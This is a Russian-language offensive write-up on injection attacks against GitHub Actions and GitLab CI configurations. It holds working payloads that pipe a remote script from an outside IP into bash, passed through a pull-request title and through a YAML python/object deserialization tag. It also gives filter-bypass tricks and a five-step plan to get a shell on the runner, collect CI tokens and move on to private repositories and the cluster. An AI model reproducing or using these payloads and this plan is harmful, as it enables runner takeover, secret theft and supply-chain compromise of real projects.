Что вижу:
CI/CD-конфиги (.github/workflows/*.yml, .gitlab-ci.yml) тащат в себе шаблонизаторы — будь то ${{ secrets.KEY }} в GitHub Actions или !reference/!include магия в GitLab CI. Попробуй подсунуть payload в label/step/job/env — и ты уже на грани Template Injection.
Как поймал:
• ffuf по {{7*7}}, !ruby/object или ${{ steps.exploit.outputs.pwn }}.
• nuclei кастомным шаблоном, чтобы прогонять CI-лямы на наличие eval’а.
• руками: пушишь MR с “кривым” yaml и ждёшь, пока пайплайн запустит твой самосборный пайлоад.
Чем пахнет:
• Класс: SSTI в YAML-парсерах GitHub/GitLab CI.
• Вероятность: 7/10 (зависит от того, разрешено ли юзать кастомные templates/hooks).
Че почем
Эксплойт:
GitHub Actions любит свои ${{ }} конструкции. Если maintainer тупо инжектит issue title или PR body в YAML (например, для динамических job-id), то payload:
|
1 2 3 4 5 |
jobs: build: runs-on: ubuntu-latest steps: - run: echo ${{ github.event.pull_request.title }} |
А ты такой пушишь PR с заголовком:
|
1 |
${{ github.run_id && curl -s http://144.76.56.11/x.sh | bash }} |
GitLab CI ещё веселее — YAML-чижики могут хавать !reference и кастомные анчоры. Там payload доходит до такого:
|
1 2 3 4 5 6 7 8 9 |
stages: - inject inject_pwn: stage: inject script: - echo "Exploit" variables: INJECT_ME: !!python/object/apply:os.system ["curl -s http://144.76.56.11/p0wn.sh|bash"] |
Обход защиты:
• Если WAF режет ${{ ... }} — юзай вложения ${{ join(matrix.os, '.') }}.
• Для GitLab: обрули линтер через !reference *hidden или !include.
Доказательство:
uid=0(root) в Actions log или артефакт-билд с твоим shell’ом. Выглядит мило: не PR коммент, а твоя ревёрс-шелуха крутится на runner.
Советы:
3 вектора для добивания:
• Проверь .github/workflows/* + .gitlab-ci.yml на subject-based injection — часто туда льют issue title, commit msg и ревью-комменты.
• Если есть workflow_dispatch — подкинь кривой input. Это YAML-инъекция через “user-supplied metadata”.
• Экзотика: GitLab Auto DevOps часто тянет Helm values.yaml. SSTI в чартах = кластер твой.
План атаки:
1. Создаём PR/MR с payload в title или description.
2. Смотрим как CI runner выполняет shell-срань в logах.
3. Заливаем shell через curl | bash.
4. Собираем токены (cat $GITHUB_TOKEN или printenv CI_* в GitLab).
5. Прыгаем дальше — приватные репо, секреты, весь кластер.
Видишь — CI/CD шаблонизатор это та же SSTI, только с бонусом: он выполняется не в “шаблоне”, а на билд-сервере с доступом к секретам и деплою. То есть каждый ${{ }} или !yaml_magic это не игрушка, а билет в прод.



